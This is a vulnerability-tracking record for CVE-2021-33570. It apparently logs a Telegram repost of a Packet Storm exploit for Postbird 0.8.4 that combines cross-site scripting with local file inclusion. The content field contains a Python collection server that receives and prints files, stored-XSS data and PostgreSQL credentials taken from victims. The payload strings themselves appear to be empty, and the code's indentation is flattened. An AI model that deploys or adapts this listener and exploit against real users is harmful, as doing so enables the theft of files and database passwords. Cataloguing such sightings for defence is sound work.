{"uuid": "84bf02c0-1536-4911-8e0d-f90ef47ff472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-33570", "type": "seen", "source": "https://t.me/hacking_Attack/10337", "content": "Exploit Collector\nPostbird 0.8.4 Cross Site Scripting / Local File Inclusion\n\nhttps://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png \nPostbird version 0.8.4 suffers from a javascript injection vulnerability that allows for cross site scripting and local file inclusion.\n\nMD5 | f2d171b04734775d46bcc4f5dc3a2213\n\nDownload\n# Exploit Title: Postbird 0.8.4 - Javascript Injection\n# Date: [26 May 2021]\n# Exploit Author: Debshubra Chakraborty\n# Vendor Homepage: https://github.com/paxa/postbird\n# Software Link: https://www.electronjs.org/apps/postbird\n# Version: 0.8.4 \n# Tested on: Linux\n# CVE : CVE-2021-33570\n\n\"\"\"\nXSS Payload\n \n\nLFI Payload\n \n\nPostgreSQL Password Stealing Payload\n \n\n\"\"\"\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport urllib.parse\nimport re\n\nhostName = '0.0.0.0'\nserverPort = 5555\n\nclass MyServer(BaseHTTPRequestHandler):\ndef do_GET(self):\nself.send_response(200)\nparse(urllib.parse.unquote(self.requestline))\n\ndef log_message(self, format, *args):\nreturn \ndef parse(data):\nexpression = re.search('\\S+=', data)\nattr = expression.group()\n\nif attr[2:len(attr)-1] == 'file':\ndata = data[12:len(data)-11] \ndata = data.rsplit('\\\\n')\nprint(f'\\n[+] File received from LFI: \\n\\n')\nfor output in data:\nprint(output)\n\nelif attr[2:len(attr)-1] == 'xss':\ndata = data[11:len(data)-10]\nprint(f'\\n[+] Data exfiltration from Stored XSS: \\n\\n{data}')\n\nelif attr[2:len(attr)-1] == 'credentials':\npos = re.search('{\"\\S+:', data)\ndata = data[pos.start():len(data)-11]\nfor i in range(2, len(data), 1):\nif data[i] == '\"':\npos = i\nbreak\n\nhost = data[2:pos]\ndata = data[14:]\ndata = data.rsplit(',')\nprint(f'\\n\\n[+] The Database credentials received\\n\\nHost = {host}')\nfor output in data:\nprint(output)\n\nelse:\nprint(f'\\n\\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')\ndef main(): \nglobal hostName, serverPort\nwebServer = HTTPServer((hostName, serverPort), MyServer)\nprint(\"Server started http://%s:%s\" % (hostName, serverPort))\n\ntry:\nwebServer.serve_forever()\n\nexcept KeyboardInterrupt:\npass\n\nwebServer.server_close()\nprint(\"\\nServer stopped.\")\nif __name__ == \"__main__\":\nmain()\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:41.191975Z"}